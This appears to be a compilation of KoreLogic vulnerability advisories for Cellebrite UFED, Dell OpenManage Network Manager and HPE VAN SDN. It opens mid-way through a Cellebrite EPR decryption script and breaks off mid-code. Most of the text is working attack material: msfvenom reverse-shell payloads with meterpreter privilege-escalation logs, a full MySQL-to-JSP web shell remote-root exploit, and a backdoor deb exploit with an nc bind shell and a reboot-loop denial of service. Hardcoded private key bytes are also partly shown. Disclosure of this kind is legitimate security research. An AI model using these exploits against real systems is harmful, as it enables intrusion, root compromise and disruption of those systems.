AES.new(unhexlify(self.epr_v3_aes_key),AES.MODE_CBC,unhexlify(self.epr_v3_aes_iv)) if self.logging: logger.info("[-] Decrypter setup with key 1 for version {}".format(self.version)) try: self.decrypted_epr = crypter.decrypt(self.encrypted_epr) if self.version == 2: self.epr_v2_aes_iv_two = hexlify(self.decrypted_epr[32:48]) elif self.version == 3: self.epr_v3_aes_iv_two = hexlify(self.decrypted_epr[32:48]) else: pass except Exception as e: logger.error("[!] Encountered an exception. Reason: {}".format(e)) return False return True return False def calc_sha256_dword(self): try: to_xor_a = hexlify(self.decrypted_epr[24:28]) to_xor_a = [to_xor_a[i:i+2] for i in range(0, len(to_xor_a), 2)] to_xor_b = hexlify(self.decrypted_epr[28:32]) to_xor_b = [to_xor_b[i:i+2] for i in range(0, len(to_xor_b), 2)] xored_1 = int(to_xor_a[-1],16) ^ int(to_xor_b[-1],16) xored_1 = "{0:0{1}x}".format(xored_1,2) xored_2 = int(to_xor_a[-2],16) ^ int(to_xor_b[-2],16) xored_2 = "{0:0{1}x}".format(xored_2,2) xored_3 = int(to_xor_a[-3],16) ^ int(to_xor_b[-3],16) xored_3 = "{0:0{1}x}".format(xored_3,2) xored_4 = int(to_xor_a[-4],16) ^ int(to_xor_b[-4],16) xored_4 = "{0:0{1}x}".format(xored_4,2) if (self.version == 2): self.epr_v2_sha256_flag = str(xored_4) + str(xored_3) + str(xored_2) + str(xored_1) if self.logging: logger.info("[-] Calculated that the flag will be: {}".format(self.epr_v2_sha256_flag)) else: self.epr_v3_sha256_flag = str(xored_4) + str(xored_3) + str(xored_2) + str(xored_1) if self.logging: logger.info("[-] Calculated that the flag will be: {}".format(self.epr_v3_sha256_flag)) except Exception as e: logger.error("[!] Encountered an exception. Reason: {}".format(e)) return False return True def key_map_check(self): found = False if (self.version == 2): for i in range(0, len(self.epr_v2_aes_map), 64): hash = sha256(unhexlify(self.epr_v2_aes_map[i:i+64])).hexdigest() if (hash.endswith(self.epr_v2_sha256_flag)): if self.logging: logger.info("[-] Found the flag: {}".format(self.epr_v2_sha256_flag)) found = True self.epr_v2_aes_key_two = self.epr_v2_aes_map[i:i+64] else: for i in range(0, len(self.epr_v3_aes_map), 64): hash = sha256(unhexlify(self.epr_v3_aes_map[i:i+64])).hexdigest() if (hash.endswith(self.epr_v3_sha256_flag)): if self.logging: logger.info("[-] Found the flag: {}".format(self.epr_v3_sha256_flag)) found = True self.epr_v3_aes_key_two = self.epr_v3_aes_map[i:i+64] return found def decrypt_key(self): try: if (self.version == 2): crypter = AES.new(unhexlify(self.epr_v2_aes_key_two),AES.MODE_CBC,unhexlify(self.epr_v2_aes_iv_two)) if self.logging: logger.info("[-] Decrypter setup with key 2 for version {}".format(self.version)) self.epr_v2_aes_key_three = hexlify(crypter.decrypt(self.decrypted_epr[48:80])) self.epr_v2_aes_iv_three = hexlify(self.decrypted_epr[112:128]) else: crypter = AES.new(unhexlify(self.epr_v3_aes_key_two),AES.MODE_CBC,unhexlify(self.epr_v3_aes_iv_two)) if self.logging: logger.info("[-] Decrypter setup with key 2 for version {}".format(self.version)) self.epr_v3_aes_key_three = hexlify(crypter.decrypt(self.decrypted_epr[48:80])) self.epr_v3_aes_iv_three = hexlify(self.decrypted_epr[112:128]) except Exception as e: logger.error("[!] Encountered an exception. Reason: {}".format(e)) return False return True def decrypt_epr(self): if (self.version == 2): crypter = AES.new(unhexlify(self.epr_v2_aes_key_three),AES.MODE_CBC,unhexlify(self.epr_v2_aes_iv_three)) if self.logging: logger.info("[-] AES Key: {}, IV: {}".format(self.epr_v2_aes_key_three,self.epr_v2_aes_iv_three)) else: crypter = AES.new(unhexlify(self.epr_v3_aes_key_three),AES.MODE_CBC,unhexlify(self.epr_v3_aes_iv_three)) if self.logging: logger.info("[-] AES Key: {}, IV: {}".format(self.epr_v3_aes_key_three,self.epr_v3_aes_iv_three)) if self.logging: logger.info("[-] Decrypter setup with key 3 for version {}".format(self.version)) self.encrypted_epr = self.encrypted_epr[128:] for pos in range(0, len(self.encrypted_epr), 65536): decryptPart = self.encrypted_epr[pos:pos+65536] try: self.final_epr+=crypter.decrypt(decryptPart) except ValueError as e: self.final_epr+=crypter.decrypt(pad(decryptPart)) if self.logging: logger.info("[-] Finished decrypting all blocks.") try: if self.logging: logger.info("[-] Writing bytes to: {}.broken".format(self.file)) fp = open("{}.broken".format(self.file),"wb") fp.write(self.final_epr) fp.close() if self.logging: logger.info("[-] Wrote {} bytes to a broken file.".format(len(self.final_epr))) except Exception as e: logger.error("[!] Encountered an exception. Reason: {}".format(e)) return False return True def zip_FF(self): if self.logging: logger.info("[-] Running: zip -FF {}.broken --out {}.zip > /dev/null 2>&1".format(self.file,self.file)) system("zip -FF {}.broken --out {}.zip > /dev/null 2>&1".format(self.file,self.file)) return True def finish(self): if self.logging: logger.info("[-] Removing the broken file.") remove("{}.broken".format(self.file)) move("{}.zip".format(self.file),"{}.zip".format(self.file.replace("input","output"))) logger.info("[+] Decrypted file available at {}.zip".format(self.file.replace("input","output"))) return True def main(): parser = OptionParser() parser.add_option("--file",dest="file",default=False,help="EPR File Path") parser.add_option("--version",dest="version",choices=(str(1),str(2),str(3)),default=str(3),help="EPR Version") parser.add_option("--verbose",dest="verbose",action="store_true",help="Enable verbose mode") o,a = parser.parse_args() o.version = int(o.version) epr = EPR(o.file,o.version,o.verbose) if not epr.file_exists(): logger.info("[!] Unable to find the encrypted EPR file specified.") return False logger.info("[+] The EPR file specified exists.") if not epr.can_read_file(): logger.info("[!] Unable to open a file object to the encrypted EPR file.") return False if not epr.read_entire_file(): logger.info("[!] Unable to read the encrypted EPR file.") return False logger.info("[+] The specified EPR file has been read into memory.") logger.info("[+] Using the version {} decryption process.".format(o.version)) if not epr.flat_decrypt(): logger.info("[!] Unable to run the initial decryption round.") return False logger.info("[+] Round one of the EPR decryption completed successfully.") if not epr.calc_sha256_dword(): logger.info("[!] Unable to calculate the SHA256 key flag.") return False if o.verbose: logger.info("[+] The SHA256 key flag has been calculated.") if not epr.key_map_check(): logger.info("[!] Unable to find a AES key match.") return False if o.verbose: logger.info("[+] The SHA256 key flag has been found.") if not epr.decrypt_key(): logger.info("[!] Could not decrypt the final AES key.") return False logger.info("[+] Round two of the EPR decryption completed successfully. Obtained the final AES key and IV.") if not epr.decrypt_epr(): logger.info("[!] Unable to decrypt the EPR file.") return False logger.info("[+] Round three of the EPR decryption completed successfully. The encrypted zip archive has been decrypted.") if not epr.zip_FF(): logger.info("[!] Could not clean up garbage.") return False return True if __name__ == "__main__": success = main() if success: logger.info("[+] done") else: logger.info("[!] failed") exit(success) ``` --- ## KL-001-2020-002: Cellebrite Restricted Desktop Escape and Escalation of User Privilege URL: https://korelogic.com/advisories/KL-001-2020-002/ KL-001-2020-002 - Cellebrite Restricted Desktop Escape and Escalation of User Privilege - CVE-2020-12798 - Cellebrite UFED Advisory ID: KL-001-2020-002 Published: 2020-05-14 Vendor: Cellebrite Product: UFED Version: 5.0 - 7.5.0.845 Platform: Embedded Windows CVE: CVE-2020-12798 CWE: CWE-269 - Improper Privilege Management CWE: CWE-20 - Improper Input Validation Discovered by: Matt Bergin ## References - [CWE-269 - Improper Privilege Management](https://cwe.mitre.org/data/definitions/269.html) - [CWE-20 - Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html) - [CVE-2020-12798](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12798) - [Signed advisory text](/advisories/KL-001-2020-002.txt) ## Vulnerability Description Cellebrite UFED device implements local operating system policies that can be circumvented to obtain a command prompt. From there privilege escalation is possible using public exploits. ## Technical Description The Cellebrite UFED device implements local operating system policies which are designed to limit access to operating system functionality. These include but may not be limited to: 1. Preventing access to dialog such as Run, File Browser, and Explorer. and 2. Preventing access to process and application management tools such as Task Manager and the Control Panel. These policies can be circumvented by using functionality that is permitted by the policy governing the use of the user desktop. A user can leverage the Wireless Network connection string to select certificate based authentication, which then enables file dialogs that are able to be used to launch a command prompt. Following this, privileges can be elevated using off the shelf and publicly available exploits relevant to the specific Windows version in use. ## Mitigation and Remediation Recommendation The vendor has informed KoreLogic that this vulnerability is not present on devices manufactured "at least since 2018." The vendor was uncertain of the exact version number that remediated this attack vector. ## Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. ## Proof of Concept Begin by using the `msfvenom` binary to create a meterpreter payload that will initiate a remote connection to a C2. Copy the payload to a USB drive. Following this, use the `msfconsole` binary to create a C2 connection handler with the `multi/handler` functionality. ```text $ msfvenom -p windows/meterpreter/reverse_tcp -f exe -o payload.exe LHOST=[REDACTED] LPORT=8888 [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 341 bytes Final size of exe file: 73802 bytes Saved as: payload.exe $ sudo mount -o rw /dev/sda1 a/ $ sudo cp payload.exe a/ $ sync $ sudo umount a/ $ msfconsole [snip] msf5 exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST [REDACTED] yes The listen address (an interface may be specified) LPORT 8888 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target msf5 exploit(multi/handler) > exploit -j -z [*] Exploit running as background job 1. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on [REDACTED]:8888 ``` Now insert the USB drive where payload.exe resides into a target Cellebrite device. Next, follow the steps below: 1. Open the Wireless Network Connection screen by clicking on the WiFi icon in the bottom right hand corner of the screen. This should be next to the system clock. 2. Select "Change advanced settings" -- this will bring up a screen called Windows Network Connection Properties. Choose the Wireless Networks tab. 3. Under the Preferred networks section, click the Add button and then select the Authentication tab. Make sure "Enable IEEE 802.1x authentication for this network" is enabled. 4. Under EAP Type, select "Smart Card or other Certificate" and then click the Properties button. 5. Under Trusted Root Certificate Authorities click the View Certificate button. This will bring up a screen called Certificate, choose the Details tab and click the "Copy to File" button. This will bring up a screen called Certificate Export Wizard. 6. Click Next and select any of the available export format options. For example, choose the "DER encoded binary X.509" option and click next. 7. Instead of typing out a export path click the Browse button to open a file dialog. In the "File Name" box type: \WINDOWS\System32\ and under "Save as type" select the "All Files (*.*)" option. Hit the enter key. 8. Locate the cmd.exe file then drag and drop any DLL over it. For example, choose the clusapi.dll file located near the cmd.exe executable. This will open a Command Prompt screen as an unprivileged user. 9. Type the drive letter to change into the USB drive containing the `payload.exe` file. ```text C:\windows\system32>D: D:\>payload.exe ``` This results in a connection back into Metasploit. ```text [*] Sending stage (180291 bytes) to [REDACTED] [*] Meterpreter session 2 opened ([REDACTED]:8888 -> [REDACTED]:1041) at 2020-01-29 11:41:05 -0800 msf5 exploit(multi/handler) > sessions -i 2 [*] Starting interaction with 2... meterpreter > getuid Server username: TOUCH-[REDACTED]\Operator ``` An exploit for CVE-2015-1701 is loaded up and configured to run a local privilege escalation exploit against the unprivileged session and SYSTEM is obtained. ```text msf5 exploit(windows/local/ms15_051_client_copy_image) > show options Module options (exploit/windows/local/ms15_051_client_copy_image): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session to run this module on. Exploit target: Id Name -- ---- 0 Windows x86 msf5 exploit(windows/local/ms15_051_client_copy_image) > set SESSION 2 SESSION => 2 msf5 exploit(windows/local/ms15_051_client_copy_image) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf5 exploit(windows/local/ms15_051_client_copy_image) > set LPORT 8888 LPORT => 8888 msf5 exploit(windows/local/ms15_051_client_copy_image) > set LHOST [REDACTED] LHOST => [REDACTED] msf5 exploit(windows/local/ms15_051_client_copy_image) > run [*] Started reverse TCP handler on [REDACTED]:8888 [*] Launching notepad to host the exploit... [+] Process 3936 launched. [*] Reflectively injecting the exploit DLL into 3936... [*] Injecting exploit into 3936... [*] Exploit injected. Injecting payload into 3936... [*] Payload injected. Executing exploit... [*] Sending stage (180291 bytes) to [REDACTED] [+] Exploit finished, wait for (hopefully privileged) payload execution to complete. [*] Meterpreter session 3 opened ([REDACTED]:8888 -> [REDACTED]:1045) at 2020-01-29 11:48:15 -0800 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > ``` --- ## KL-001-2020-001: Cellebrite Hardcoded ADB Authentication Keys URL: https://korelogic.com/advisories/KL-001-2020-001/ KL-001-2020-001 - Cellebrite Hardcoded ADB Authentication Keys - CVE-2020-11723 - Cellebrite UFED Advisory ID: KL-001-2020-001 Published: 2020-04-13 Vendor: Cellebrite Product: UFED Version: 5.0 - 7.29 Platform: Embedded Windows CVE: CVE-2020-11723 CWE: CWE-321 - Use of Hard-coded Cryptographic Key Discovered by: Matt Bergin ## References - [CWE-321 - Use of Hard-coded Cryptographic Key](https://cwe.mitre.org/data/definitions/321.html) - [CVE-2020-11723](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11723) - [Signed advisory text](/advisories/KL-001-2020-001.txt) ## Vulnerability Description Cellebrite UFED uses four hardcoded RSA private keys to authenticate to the ADB daemon on target devices. Extracted keys can be used to place evidence onto target devices when performing a forensic extraction. ## Technical Description The `AndroidLib.dll` file will be found in the Program Files directory at the following path: `C:\Program Files\Cellebrite Mobile Synchronization\UFED Touch\AndroidLib.dll` This file contains the code used to authenticate to the ADB daemon on devices to be forensically imaged. This library relies on the `CryptImportKey` function to import a private key for use during this operation. The bytes used to repsent the key are hardcoded into the `AndroidLib.dll` file. This file may be protected by Themida but can be recovered through deobfuscation techniques. The `CryptImportKey` function uses a private key structure called: MS PRIVATEKEYBLOB. Keys that are following this format can be found by searching for "RSA2" as US-ASCII values inside of the `AndroidLib.dll` file. There are three keys available between the versions 5.0 and 7.1. ```text 0x6c598 952 ?PrivateKey1@ADBAuth@@0QBEB Ordinal_952 XREF[2]: Entry Point(*), 100867b4(*) ?PrivateKey1@ADBAuth@@0QBEB 1006c598 07 ?? 07h 1006c599 02 ?? 02h 1006c59a 00 ?? 00h 1006c59b 00 ?? 00h 1006c59c 00 ?? 00h 1006c59d a4 ?? A4h 1006c59e 00 ?? 00h 1006c59f 00 ?? 00h 1006c5a0 52 ?? 52h R 1006c5a1 53 ?? 53h S 1006c5a2 41 ?? 41h A 1006c5a3 32 ?? 32h 2 ... ``` ```text 0x6ca30 953 ?PrivateKey2@ADBAuth@@0QBEB Ordinal_953 XREF[2]: Entry Point(*), 100867b8(*) ?PrivateKey2@ADBAuth@@0QBEB 1006ca30 07 ?? 07h 1006ca31 02 ?? 02h 1006ca32 00 ?? 00h 1006ca33 00 ?? 00h 1006ca34 00 ?? 00h 1006ca35 a4 ?? A4h 1006ca36 00 ?? 00h 1006ca37 00 ?? 00h 1006ca38 52 ?? 52h R 1006ca39 53 ?? 53h S 1006ca3a 41 ?? 41h A 1006ca3b 32 ?? 32h 2 ... ``` ```text 0x6cec8 954 ?PrivateKey3@ADBAuth@@0QBEB Ordinal_954 XREF[2]: Entry Point(*), 100867bc(*) ?PrivateKey3@ADBAuth@@0QBEB 1006cec8 07 ?? 07h 1006cec9 02 ?? 02h 1006ceca 00 ?? 00h 1006cecb 00 ?? 00h 1006cecc 00 ?? 00h 1006cecd a4 ?? A4h 1006cece 00 ?? 00h 1006cecf 00 ?? 00h 1006ced0 52 ?? 52h R 1006ced1 53 ?? 53h S 1006ced2 41 ?? 41h A 1006ced3 32 ?? 32h 2 ... ``` A fourth key can be found within the KnockoutNG EPR file but exists in the normally used PEM format: ```text 00000000 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 |-----BEGIN RSA P| 00000010 52 49 56 41 54 45 20 4b 45 59 2d 2d 2d 2d 2d 0a |RIVATE KEY-----.| 00000020 4d 49 49 45 70 51 49 42 41 41 4b 43 41 51 45 41 |MIIEpQIBAAKCAQEA| 00000030 75 74 72 41 62 39 37 43 74 4e 6e 6d 2b 57 53 5a |utrAb97CtNnm+WSZ| 00000040 7a 52 6b 2b 53 61 6c 50 32 6c 68 47 48 62 37 35 |zRk+SalP2lhGHb75| ... ``` Once extracted, the keys can be converted into PEM using the `openssl` binary and are then available for use by the stock android `adb` client. ```text $ ls -la total 36 drwxr-xr-x 1 level level 346 Oct 19 07:04 . drwxr-xr-x 1 level level 2842 Oct 13 09:32 .. -rw------- 1 level level 1671 Sep 10 06:56 cellebrite_adb_key1 -rw-r--r-- 1 level level 717 Sep 10 06:56 cellebrite_adb_key1.pub -rw------- 1 level level 1679 Sep 10 06:55 cellebrite_adb_key2 -rw-r--r-- 1 level level 717 Sep 10 06:56 cellebrite_adb_key2.pub -r--r--r-- 1 level level 1736 Oct 13 09:26 cellebrite_adb_key3 -r--r--r-- 1 level level 717 Oct 13 09:26 cellebrite_adb_key3.pub -rw------- 1 level level 1679 Oct 18 15:44 cellebrite_adb_key4 -rw-r--r-- 1 level level 451 Oct 18 15:46 cellebrite_adb_key4.pub ``` ## Mitigation and Remediation Recommendation The vendor has addressed this vulnerability in UFED v7.30 update released March 3, 2020. Licensed users should update via the MyCellebrite Portal. Release notes can be found at: https://www.cellebrite.com/en/productupdates/ufed-and-ufed-infield-7-30-provides-new-support-for-smartphones-with-huawei-kirin-processor/ ## Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. ## Proof of Concept See section 3. Technical Description. --- ## KL-001-2018-009: Dell OpenManage Network Manager Multiple Vulnerabilities URL: https://korelogic.com/advisories/KL-001-2018-009/ KL-001-2018-009 - Dell OpenManage Network Manager Multiple Vulnerabilities - CVE-2018-15767, CVE-2018-15768 - Dell OpenManage Network Manager Advisory ID: KL-001-2018-009 Published: 2018-11-05 Vendor: Dell Product: OpenManage Network Manager Version: 6.2.0.51 SP3 Platform: Embedded Linux CVE: CVE-2018-15767, CVE-2018-15768 CWE: CWE-1392 - Use of Default Credentials CWE: CWE-250 - Execution with Unnecessary Privileges Discovered by: Matt Bergin ## References - [CWE-1392 - Use of Default Credentials](https://cwe.mitre.org/data/definitions/1392.html) - [CWE-250 - Execution with Unnecessary Privileges](https://cwe.mitre.org/data/definitions/250.html) - [CVE-2018-15767](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15767) - [CVE-2018-15768](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15768) - [Signed advisory text](/advisories/KL-001-2018-009.txt) ## Vulnerability Description Dell OpenManage Network Manager exposes a MySQL listener that can be accessed with default credentials (CVE-2018-15768). This MySQL service is running as the root user, so an attacker can exploit this configuration to, e.g., deploy a backdoor and escalate privileges into the root account (CVE-2018-15767). ## Technical Description The appliance binds on `3306/mysql` using the `0.0.0.0` IP address. The default IPTables policy is ACCEPT and the rule table is empty. Using any of three default accounts, a malicious user can exploit native MySQL functionality to place a JSP shell into the directory of a web server on the file system and subsequently make calls into it. ## Mitigation and Remediation Recommendation The vendor informed KoreLogic that all default passwords can be changed and are documented in the OpenManage Network Manager Installation Guide. Dell recommends all customers change these default passwords upon installation. The vendor has addressed these vulnerabilities in version 6.5.3. Release notes and download instructions can be found at: https://www.dell.com/support/home/us/en/04/drivers/driversdetails?driverId=5XC0J ## Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. ## Proof of Concept ```python #!/usr/bin/python # $ python dell-openmanage-networkmanager_rce.py --host 1.3.3.7 # Dell OpenManage NetworkManager 6.2.0.51 SP3 # SQL backdoor remote root # # [-] Starting attack. # [+] Connected using root account. # [+] Sending malicious SQL. # [+] Dropping shell. # [-] uid=0(root) gid=0(root) groups=0(root) # # # uname -a # Linux synergy.domain.int 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux from optparse import OptionParser from string import ascii_letters, digits from random import choice from re import compile as regex_compile from urllib import urlopen import pymysql.cursors banner = """Dell OpenManage NetworkManager 6.2.0.51 SP3\nSQL backdoor remote root\n""" accounts = ['root','owmeta','oware'] password = 'dorado' regex = regex_compile("^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$") full_path = '/opt/VAroot/dell/openmanage/networkmanager/oware/synergy/tomcat-7.0.40/webapps/nvhelp/%s.jsp' % (''.join( [choice(digits + ascii_letters) for i in xrange(8)])) shell_name = full_path.split('/')[-1] backdoor = """<%@ page import="java.util.*,java.io.*"%> <% if (request.getParameter("cmd") != null) { String m = request.getParameter("cmd"); Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %>""" def do_shell(ip_address): fd = urlopen("http://%s:8080/nvhelp/%s" % (ip_address,shell_name),"cmd=%s" % ('sudo sh -c id')) print "[-] %s\n" % fd.read().strip() fd.close() while True: try: cmd = 'sudo sh -c %s' % raw_input("# ") if ('exit' in cmd or 'quit' in cmd): break fd = urlopen("http://%s:8080/nvhelp/%s" % (ip_address,shell_name),"cmd=%s" % (cmd)) print fd.read().strip() fd.close() except KeyboardInterrupt: print "Exiting." exit(0) return False if __name__=="__main__": print banner parser = OptionParser() parser.add_option("--host",dest="host",default=None,help="Target IP address") o, a = parser.parse_args() if o.host is None: print "[!] Please provide the required parameters." exit(1) elif not regex.match(o.host): print "[!] --host must contain an IP address." exit(1) else: print "[-] Starting attack." try: for user in accounts: conn = pymysql.connect(host=o.host, user=user, password=password, db='mysql', cursorclass=pymysql.cursors.DictCursor ) if conn.user is user: print "[+] Connected using %s account." % (user) cursor = conn.cursor() print "[+] Sending malicious SQL." table_name = ''.join( [choice(digits + ascii_letters) for i in xrange(8)]) column_name = ''.join( [choice(digits + ascii_letters) for i in xrange(8)]) cursor.execute('create table %s (%s text)' % (table_name, column_name)) cursor.execute("insert into %s (%s) values ('%s')" % (table_name, column_name, backdoor)) conn.commit() cursor.execute('select * from %s into outfile "%s" fields escaped by ""' % (table_name,full_path)) cursor.execute('drop table if exists `%s`' % (table_name)) conn.commit() cursor.execute('flush logs') print "[+] Dropping shell." do_shell(o.host) break except Exception as e: if e[0] == '1045': print "[!] Hardcoded SQL credentials failed." % (e) else: print "[!] Could not execute attack. Reason: %s." % (e) exit(0) ``` --- ## KL-001-2018-008: HPE VAN SDN Unauthenticated Remote Root Vulnerability URL: https://korelogic.com/advisories/KL-001-2018-008/ KL-001-2018-008 - HPE VAN SDN Unauthenticated Remote Root Vulnerability - HP Enterprise VAN SDN Controller Advisory ID: KL-001-2018-008 Published: 2018-06-25 Vendor: HP Enterprise Product: VAN SDN Controller Version: 2.7.18.0503 Platform: Embedded Linux CWE: CWE-798 - Use of Hard-coded Credentials CWE: CWE-20 - Improper Input Validation Discovered by: Matt Bergin ## References - [CWE-798 - Use of Hard-coded Credentials](https://cwe.mitre.org/data/definitions/798.html) - [CWE-20 - Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html) - [Signed advisory text](/advisories/KL-001-2018-008.txt) ## Vulnerability Description A hardcoded service token can be used to bypass authentication. Built-in functionality can be exploited to deploy and execute a malicious deb file containing a backdoor. A weak sudoers configuration can then be abused to escalate privileges to root. A second issue can be used to deny use of the appliance by continually rebooting it. ## Technical Description The exploit will automatically attempt to bypass authentication unless the `--no-auth-bypass` flag is provided. If that flag is provided, the `--username` and `--password` flags must also be given. The options for the `--payload` flag are: `rce-root` and `pulse-reboot`. The default option is `rce-root`. The `pulse-reboot` payload will reboot the target device until the attack is stopped. ```text $ python hpevansdn-multiple_exploits.py --help HPE VAN SDN Controller 2.7.18.0503 Unauthenticated Remote Root and Denial-of-Service Usage: hpevansdn-multiple_exploits.py [options] Options: -h, --help show this help message and exit --target=REMOTE_IP Target IP address --no-auth-bypass No authentication bypass --username=USERNAME Username (Default: sdn) --password=PASSWORD Password (Default: skyline) --payload=PAYLOAD Payload: rce-root(default), pulse-reboot ``` Below is output for the `rce-root` payload: ```text $ python hpevansdn-multiple_exploits.py --target 1.3.3.7 HPE VAN SDN Controller 2.7.18.0503 Unauthenticated Remote Root and Denial-of-Service [+] Authentication successfully bypassed. [-] Starting remote root exploit. [-] Building backdoor. [-] Uploading backdoor. [+] Upload successful. [-] Installing backdoor. [+] Starting backdoor on port 49370. [+] Connected to backdoor. * For interactive root shell please run /var/lib/sdn/uploads/root-V6mlQNqW id uid=108(sdnadmin) gid=1000(sdn) groups=1000(sdn) /var/lib/sdn/uploads/root-V6mlQNqW root@medium-hLinux:/opt/sdn/admin# uname -a Linux medium-hLinux 4.4.0-2-amd64-hlinux #hlinux1 SMP Thu Jan 28 12:35:26 UTC 2016 x86_64 GNU/Linux root@medium-hLinux:/opt/sdn/admin# exit [-] Removing backdoor. [+] Backdoor removed. ``` ## Mitigation and Remediation Recommendation The vendor issued the following statement: HPE had evaluated the impact of service token being leaked and previously updated the security procedure in VAN 2.8.8 Admin Guide page 129. The full guide is here - http://h20628.www2.hp.com/km-ext/kmcsdirect/emr_na-a00003662en_us-1.pdf. HPE expects all customers to update their service token, admin token, default sdn user password, and edit iptables as described in the guideline. If the guideline was followed, the exploit would not be successful. ## Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. ## Mitigation and Remediation Recommendation. 2018.06.25 - KoreLogic public disclosure. ## Proof of Concept ```python from optparse import OptionParser from random import randrange,choice from threading import Thread from os import mkdir,makedirs,system,listdir,remove from string import ascii_letters,digits from subprocess import check_output from requests import get,post from requests.utils import dict_from_cookiejar from requests.exceptions import ConnectionError from time import sleep from sys import exit from json import dumps ################################# # PULSE REBOOT TIMER IN SECONDS # pulse_timer = 60 # ################################# banner = """HPE VAN SDN Controller 2.7.18.0503 Unauthenticated Remote Root and Denial-of-Service """.center(80) class Backdoor: def __init__(self): ###################################################################################### # ATTACK SHELL SCRIPT # self.backdoor_port = randrange(50000,55000) # self.backdoor_script = """#!/bin/sh\nnc -l -p PORT -e /bin/bash &""" # DONT CHANGE # self.backdoor_dir = '%s-1.0.0' % ''.join( # [choice(digits + ascii_letters) for i in xrange(8)] # ) # self.backdoor_script = self.backdoor_script.replace('PORT',str(self.backdoor_port)) # ###################################################################################### self.cmd_name = ''.join([choice(digits + ascii_letters) for i in xrange(8)]) return None def generate(self): print '[-] Building backdoor.' control_template = """Source: %s Section: misc Priority: extra Maintainer: None Homepage: http://127.0.0.1/ Version: 1.0.0 Package: %s Architecture: all Depends: Description: %s """ % (self.backdoor_dir,self.cmd_name,self.backdoor_dir) try: mkdir(self.backdoor_dir) mkdir('%s/%s' % (self.backdoor_dir,'DEBIAN')) fp = open('%s/%s/control' % (self.backdoor_dir,'DEBIAN'),'w') fp.write(control_template) fp.close() makedirs('%s/var/lib/sdn/uploads/tmp' % (self.backdoor_dir)) fp = open('%s/var/lib/sdn/uploads/tmp/%s' % (self.backdoor_dir,self.cmd_name),'w') fp.write(self.backdoor_script) fp.close() fp = open('%s/var/lib/sdn/uploads/root-%s' % (self.backdoor_dir,self.cmd_name),'w') fp.write("""#!/bin/sh\nsudo -u sdn /usr/bin/sudo python -c 'import pty;pty.spawn("/bin/bash")'""") fp.close() system('chmod a+x %s/var/lib/sdn/uploads/tmp/%s' % (self.backdoor_dir,self.cmd_name)) system('chmod a+x %s/var/lib/sdn/uploads/root-%s' % (self.backdoor_dir,self.cmd_name)) if "dpkg-deb: building package" not in check_output( ['/usr/bin/dpkg-deb', '--build', '%s/' % (self.backdoor_dir)] ): print '[!] Could not build attack deb file. Reason: DPKG failure.' except Exception as e: print '[!] Could not build attack deb file. Reason: %s.' % (e) return '%s.deb' % self.backdoor_dir,self.cmd_name,self.backdoor_port class HTTP: def __init__(self): return None def is_service_token_enabled(self): url = 'https://%s:8443/sdn/ui/app/rs/hpws/config' % (self.target) try: r = get(url, headers={"X-Auth-Token":self.session_token,"User-Agent":self.user_agent}, verify=False, allow_redirects=False) if r.status_code == 200: return True except ConnectionError: print '[!] Connection to target service failed.' exit(1) return False def get_session_token(self): url = 'https://%s:8443/sdn/ui/app/login' % (self.target) try: r = post(url, headers={"User-Agent":self.user_agent},verify=False, data="username=%s&password=%s" % (self.username,self.password), allow_redirects=False) if r.status_code == 303: self.session_token = dict_from_cookiejar(r.cookies)['X-Auth-Token'] return True except ConnectionError: print '[!] Connection to target service failed.' exit(1) return False def upload_deb(self): print '[-] Uploading backdoor.' url = 'https://%s:8081/upload' % (self.target) try: fp = open('%s' % (self.deb_name),'rb') data = fp.read() fp.close() try: r = post(url,headers={"X-Auth-Token":self.session_token,"Filename":self.deb_name,"User-Agent":self.user_agent},verify=False,data=data) if r.status_code == 200: print '[+] Upload successful.' return True else: print '[!] Upload failed. Please try again.' except ConnectionError: print '[!] Connection to target service failed.' exit(1) except Exception as e: print '[!] Failed to write backdoor to disk. Reason: %s.' % (e) return False def install_deb(self): print '[-] Installing backdoor.' url = 'https://%s:8081/' % (self.target) post_body = dumps({"action":"install","name":self.deb_name}) try: r = post(url,headers={"X-Auth-Token":self.session_token,"User-Agent":self.user_agent},verify=False,data=post_body) if r.status_code == 200: return True except ConnectionError: print '[!] Connection to target service failed.' exit(1) return False def start_shell(self): print '[+] Starting backdoor on port %d.' % (self.backdoor_port) url = 'https://%s:8081/' % (self.target) post_body = dumps({"action":"exec","name":self.cmd_name}) try: r = post(url,headers={"X-Auth-Token":self.session_token,"User-Agent":self.user_agent},verify=False,data=post_body) if r.status_code == 200: return True except ConnectionError: print '[!] Connection to target service failed.' exit(1) return False def uninstall_deb(self): print '[-] Removing backdoor.' url = 'https://%s:8081/' % (self.target) post_body = dumps({"action":"uninstall","name":self.deb_name}) try: r = 